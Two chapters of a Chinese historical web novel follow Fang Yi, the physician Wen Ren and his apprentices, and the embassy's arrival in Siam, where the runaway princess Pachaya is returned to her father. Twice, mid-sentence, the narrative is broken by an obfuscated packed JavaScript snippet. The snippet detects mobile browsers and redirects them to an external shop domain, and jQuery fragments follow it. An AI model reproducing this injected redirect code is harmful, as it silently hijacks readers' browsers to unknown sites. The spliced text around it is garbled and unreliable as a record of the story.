温仁说过,两人算是师兄弟,那么就该一荣俱荣、一损俱损。一个人出了错,那么另一个就要跟着挨罚。“你又弄错了?”秋水小脸绷着,不太高兴地走过去,看了眼泛着乌黑色的试药银针,敲了他一个脑瓜嘣儿,“你是要害人还是救人?!笨死你得了!” 春生:“呜呜。” “闭嘴!”秋水烦躁地转来转去,忽道:“这样,你快快将这盅药扔了出去,然后我帮你重新熬,这样等夫子回来了,大不了说你慢,并不会罚你。” 春生慢吞吞地反应了一会儿,惊喜地“哦”了声,忙不迭端着药罐出门。 却在出门时撞上了“负荆请罪”的方意,一罐汤药悉数浇在了对方的锦袍之上,春生缩了缩脑袋,害怕地跪地道:“贵人饶命贵人饶命!” 哭喊声吸引来了秋水。 “方大人请见谅,春生年幼,冲撞您实属无心之举,”小小的人儿语气竟十分老成,“大人若不嫌弃,请进屋来,容小的给您去取一身干净衣物来。” 方意挑了挑眉,这算什么,踏破铁鞋无觅处,得来全不费功夫? 本来被淋了一身黑呼呼的药汤十分不悦,听到这个小医童的话当即展颜一笑:“好。” 他踏步迈进。这可不是擅自闯入,这是那老匹夫的学生主动邀请他进来的。 秋水见对方竟没有发怒,松口气的瞬间也微微不解,他知道这人是谁,也知道对方一贯严酷无情,却没想到这件事能这么轻飘飘地翻了篇。“快走!” 春生得了眼色,赶忙站起来,圆溜溜地连滚带爬走了。 小医童去取衣裳,方意便将那盅药汤端放在桌案上,慢悠悠地等待着,这回看温仁还敢不喝。 “方大人,这套是否可以?” 秋水取来了衣裳,恭恭敬敬双手呈上。 “那套吧。”方意讶然,这小子居然一下子取来了三套供他挑选,孺子可教,不像温仁! 方意进了屏风之后换衣,不等他换完,温仁回来了,一眼看到书案上的药盅,吹胡子瞪眼地道:“谁让他进来的!” 春生不敢言语。 秋水将事情一一说来,并没有撒谎。——主要是怕撒谎被方意拆穿了。他有点闷闷不乐,搞了这么一通,罚是跑不了,而且还会被罚得更重。 温仁狠狠地点了点两个小崽子的脑门,“一天到晚的闯祸!” 等方意出来,温仁已经将药喝尽。 气哼哼地来了句:“方大人可满意了?满意了便走吧。” 方意没急着走,而是拉出椅子,坐在温仁对面,慢条斯理地将那个试药人的死亡从头到尾解释了一遍。 “真的?”温仁一脸不信。 方意叹道:“人心里的成见是一座大山哪,”他起身告辞,“您老不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217332|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信便算了,即便到了暹罗面见督公,我依然得说,我刚才所言句句为实。” 他在温仁的惊疑目光中渐渐走远。 * 大年初五,船队驶达暹罗新门台港。 新门台港阔水深,适合船队停泊。 天佑号甫一靠岸,便能望见喧嚣的码头,两队侍卫正在驱散码头聚集的人群,侍卫后面是两头白象,白象配鞍,晨光中甩鼻动作威风凛凛,鞍上各坐着一人。 左边那个圆胖体型,耳垂巨大,活脱脱一尊弥勒佛。 右边那个是个青年,长相英俊,只是眉宇间笼着一抹淡淡的忧伤。 待得船队使者团上岸,右边那青年便下象步行至使者面前,行礼道:“贵使请见谅,国王因病缠绵病榻已久,不能亲来,特命我来迎接。” 那弥勒佛也下象过来,介绍那青年道:“这是王储殿下。” 王储道:“使者一路辛劳,请随我来罢。” 他将使者团一行人带至城内某处佛寺旁的馆驿,将几十人安置妥当,方才郁郁而去。薛誉亦在此列之中。 这还是因为她献上那张防晕的药方的缘故。 ——船队大部分人仍吃住在船上,少部分人被允许下船在外城逛一逛,只有使者团一行人才可进入城内,可以说薛誉这回的确是很幸运了。 而且这几日帕查雅都没再找过她,这也让薛誉松了口气,明日……方意说明日使者团进宫时,就会把帕查雅一同带上送回家。 所以只要平稳地渡过今夜就行了。 “你完蛋了!” 听到这么熟悉的一声呐喊,薛誉疑惑地推窗探头望望,二楼窗下有一株挺拔的古木,树干粗壮,月光下夜风吹得枝叶窸窣作响,夜晚的宁静却被树干上绑着的人打破:“你死定了!” 声音耳熟,是帕查雅无疑。 果然,等薛誉赶来,入目便是帕查雅被捆粽子似的捆在树干上,旁边是双手环胸、悠然自得的千户大人。他摇头晃脑的,仿佛帕查雅的叫骂声是一曲悠扬的音乐,让他心旷神怡。 “这是……?” 话一出口,薛誉感觉这场景莫名眼熟。 “救我!快救我!”帕查雅冲薛誉喊。 “不用求他,求了也没用,”方意缓缓睁开眼,嗤笑一声,“他现在是泥菩萨过江,自身难保。” 薛誉讪讪点头。 是啊,其实这几日她都在担心自己会被方意秋后算账来着。 “你们!”被救无望,反倒来了个帮凶看笑话,帕查雅气得跳脚,“你们两个完了!等我回去,一定告你们一状!” 方意翻了个白眼,“我说殿下,你能说些新奇的吗,”他作势挖挖耳朵,歪歪头道:“听得我耳朵都起茧子。而且,你刚才不是还要跑,现在又想起回家之后要告状收拾我了?” 原来还没放弃,薛誉都有点好奇帕查雅到底想去做什么了。 “我跑?”帕查雅道,“还不是因为听说了方大人被打板子,被打得都起不来身,要是不趁着这个机会逃跑,怎么对得起方大人挨的板子呢!” 方意笑了,只是笑意不达眼底,“看来消息很是灵通啊,不过,我很抗揍这个消息没人告诉你?” 14. 暹罗2 帕查雅瞪大眼睛,嘴唇张张合合,一时间吐不出半个字来。 “呦看来真没人告诉你。” 帕查雅气得跺脚,脑袋一歪……竟晕过去了。这下倒合了方意的意,“来人!” 一个体格壮硕的厨娘应声而至,“方大人?” “将人扛回去,然后……关好窗、锁死门。” 厨娘去执行了。不过这还不算完,方大人又命数名锦衣卫分明在帕查雅的门前和窗下两处守候,他自己则悠悠踱步至馆驿大门处——唯一的出入口,守了整整一夜。 谨慎周到之至,令人插翅也难飞。 * 天色将明未明时,馆驿三三两两地亮了灯。 推门声、打水声、上下楼的脚步声……窸窸窣窣地交织着。薛誉迷蒙着眼,起身来到窗边,窗外天井处,昨日那个弥勒佛似的内政大臣正在和人说话。 大抵跟今日使者团要去王宫之事有关。 领头的自然是那位沈督公,另外包括一个副使、方意在内的数名锦衣卫、以及通译等等。 “稍等,督公还未收拾完毕。” “不急不急,”那内政大臣忙道:“是在下来得早了,方大人跟督公说莫急便是。” 方意点点头,状似无意地瞥了眼大门。门外有十来只白象,喷着响鼻。 “此地距王宫还远,恐使者们一路奔波辛苦,便乘象而行吧。” “多谢,”方意指挥了两句正在来往搬运东西的船工们小心着些,而后话锋一转:“听闻王上身体抱恙,却不知是如何病症?”他笑笑道:“船队倒是有两名神医,若是王上需要,让他们随行去诊治一番也无不可。” 内政大臣苦着脸:“如此,有劳大人。” “去岁,暹罗来朝进贡时,称王上身强体壮,还说下次要亲至,怎的不过一年光景身体状况竟如此急转直下吗?” 内政大臣一脸哀愁:“方大人有所不知,王上是因为家事夜夜难眠,积久成疾啊!” “哦,”看来是不愿再说,方意无所谓地笑笑道:“有神医在,我想,王上的病很快就好了。” “承方大人吉言。” 就在此时,方意余光中瞥见一角蟒袍袍角,上前几步迎接道:“督公。” “督公万安。”内政大臣也忙忙小跑几步上前,脸上的肉颤巍巍的。 沈轻玉轻轻一颔首,道:“久等。” 他今日穿戴庄肃,头戴宦官纱帽,身着蟒袍,腰间佩玉带,庄重如上朝,内政大臣:“那,督公请随在下来。” …… 使者团们乘象而行。 接近晌午才到达王宫。 宴席、歌舞已经备毕,一群人簇拥着神色怏怏的暹罗王一同候在殿门口。 “使、使者!”暹罗王遥遥地望见浩浩荡荡二三十号使者团成员,忙从殿阶上往下奔,却不妨一阵风吹,撕心裂肺地咳嗽起来。 “王上身体有恙,不妨回去休息。” 暹罗王咳得面红耳赤,忙摆摆手道:“使者远道而来,小王如何能不尽地主之谊。” 内政大臣忙上前扶住他的胳膊,后者终于不再摇摇欲坠,一步三喘地走在前方接引道:“请随我来。” 宴饮的宫殿豪奢,白墙绿屋脊,金色琉璃瓦覆顶,正值一日阳光最灿烂时,琉璃瓦折射出璨璨光辉。二三十号人随着暹罗王陆续进了殿门。 大殿坐北朝南,前方的主座高高在上,下首设着仅低于主座的两个陪侍位置,其余的便是甬道两侧各二十张坐席。仿佛朝会似的尊卑分明,坐席越靠近殿门,越显出其简陋。“使者,”暹罗王在主座的台阶之下站定,伸手做出“请”的姿势,“请上座。” 沈轻玉颔首,坦然迈步,坐在了此殿最高位。 暹罗王则入坐右下首。 待所有人各得其位,他方才拍拍手,各色佳肴流水似的被端上来,还有十来名戴着轻薄白面纱的舞女身姿飘逸地上了殿,待乐声起,便翩然起舞。 美食美酒美人在前,暹罗王仍是病容不展,他端起酒盏抿了半口,放下,极重地叹一口气,叹息声甚至压过乐声转辗飘进主座耳中。沈轻玉微不可查地顿了顿,随即瞥了眼左下首,方意马上会意,站起来遥遥地向暹罗王敬酒道: “听闻王上久病难医,恰巧船队随行着一名‘神医’,王上可需要在下唤来神医一观?” “不、不必了,”暹罗王面色灰颓地咳了两声,“此乃心病,药石无医,便不劳烦使者了。” 方意笑了笑,“何妨试试?不知王上可否听过一句俗语‘不可讳疾忌医’。” 暹罗王无奈地缓缓点点头。 ‘神医’很快被引上殿。 殿中顿时安静异常,所有人停杯停箸,一道艳丽人影独自走在甬道上,正在殿中央翩翩起舞的舞女们也纷纷为其让开一条路。 高台之上的暹罗王本低着头,掩着口鼻咳嗽,忽觉殿中安静异常,随意一望,正是这一望,被瞬间定身。 张了张嘴,又张了张嘴,一股狂喜的情绪在暹罗王胸中激荡,他艰难吐字道:“我、我……” 根本说不出一句完整的话,跌跌撞撞地起身,晕乎乎地往台下奔,其他都不存在了,眼中只有甬道中样那一抹剪影。下了台阶,内政大臣怕他摔跤,忙从座位起身上前搀扶,却被狠狠拂开。 “没、没事吧?” 暹罗王奔到‘神医’面前,老泪纵横,上上下下、左左右右地打量了好一会儿,才勉强平静下来,“没事就好啊,”他哀怨地道:“数月来,父王一直担心你啊。” 帕查雅有些羞愧地低下头。 暹罗王则扭头冲高台之上大喊道:“多谢使者!多谢使者,竟让小王在万佛节前看到女儿平安归来。” 方意受下这声谢,有些不解地挑挑眉。 暹罗王解释道:“小王还想着那日举国寺院为女祈福,这回便不用劳师动众了。” “王上仁慈。”沈轻玉轻呷一口酒液,缓缓道。 “使者谬赞,这都是贵国的功劳啊!”暹罗王挥挥手,招来两名侍女,“回寝宫休息休息吧,一定累坏了,待会儿宴席结束了父王再去找你说说话。”后面这些乃是悄悄话,音量压得极低。 待出了此殿,那两名侍女其一问: “殿下可需奴婢去唤辆辇车来?” 后宫距离王宫很远,徒步过去恐怕天都要黑了。 ——暹罗王宫分王宫、前宫和后宫。王宫用来操办一些重大场合,例如接待天朝使者团,前宫议政,后宫则是皇族的寝宫,帕查雅点头,“……自然需要。” 回到寝宫,一进殿门,一个人影猛地扑过来,哭天抹泪地喊:“殿下!” 帕查雅被撞得连连后退,却无可奈何。 毕竟那日出逃,她是打晕了对方才得以成功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227343|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仔细看看,对方现在额头上还有一道淡疤呢。帕查雅不大自然地道:“别哭了。” 妮塔抽抽噎噎地慢慢收声。 “殿下瘦了许多。”妮塔上前,虚虚环了环帕查雅的手腕,心疼地道。说罢,忙前忙后去端来好些吃食,帕查雅简单用过后便道:“我睡会儿,不要叫人吵我。” “是。” 其实不困,但若不睡,妮塔会一直絮絮叨叨,碎嘴极了。明明没比自己大几岁,说话做事却老成得不得了。 “王储殿下!” 帕查雅睡得迷迷糊糊,殿门外忽然传来一声急促的叫喊声,“殿下正睡呢。”后面这句似乎是意识到了不妥之处,声音渐低下来。 然后,了无声息。帕查雅却渐渐神思清明,再无睡意,翻身起床,下地走了数步,殿门就被轻轻推开,妮塔小心翼翼地探进脑袋,一眼就瞧见了帕查雅,她惊呼一声:“殿下?” 帕查雅摆摆手,“哥哥来了?” “是。” “那我不睡了。让哥哥进来。” 妮塔侧身让开。帕查雅眼睁睁看着哥哥缓步步入殿内,眼角眉梢全是淡淡的疲倦,看见自己后,没有一贯的笑容,反而拧了拧眉,冷哼一声。帕查雅忙上前抱住对方的胳膊,撒娇道:“昨夜没睡好吗哥哥?” 对方又哼一声,撤回胳膊。 帕查雅少见地一脸讪讪道:“妮塔,你下去。” 等到寝宫内只有两人之后,帕查雅又一次缠上对方的胳膊,蛇缠绕猎物似的,用尽力气,不容挣脱。而后拖着对方往里走,头歪了歪靠在对方臂膀上,形如一体。 帕查雅其实有点不知所措。 哥哥从小和她一起长大,亲密极了,也宠溺她宠溺得紧,今日这样大的火气,帕查雅还是第一次见。 轻轻摁着哥哥坐下,帕查雅站着不动,双手交叉在身前,低着头,一幅老实认错的样子。 “这副样子?专门做给我看的?” “真的知道错了。”小小声。 “哎……”阿努奇特从小就拿这个妹妹没办法,用力地按按太阳穴道:“这回平安回来了,就好好的,知不知道父王为了你有多担心?”就连他自己也提前入了佛寺跟着住持日夜诵经,虽说作为成年男子例行修习小乘佛法是必要的,但这只是一方面,更重要的是要为妹妹祈福。 “哥哥……” “没事就好,多休息,我还要回佛寺。” “哥哥还要在佛寺呆多久?”每个暹罗男子成年前都会去佛寺读书,拜僧人为师,成年后则需要剃度出家3个月至一年不等。 阿努奇特沉吟半晌答:“不出所料的话半年。” 帕查雅暗暗松了口气。她小声喃喃道:“那,那我、我也想去寺院,”努力挤出一个微笑,带着讨好的语气道:“就当让我去望望风,好不好啊哥哥?” “不行。”是望风还是故技重施又要跑,阿努奇特比妹妹心里清楚。 “哥哥!”帕查雅的语气略有不快。 “没有商量的余地。” 阿努奇特转身唤来妮塔,“看好殿下。” 走出几步,想起什么似的,扭头对帕查雅道:“要是偷溜,我会罚妮塔。” 帕查雅:“……” 而妮塔果然尽职尽责,严严实实地关上了殿门,而且经此一役,连窗户都死死地封闭住了,寝宫内顿时陷入一片昏暗中。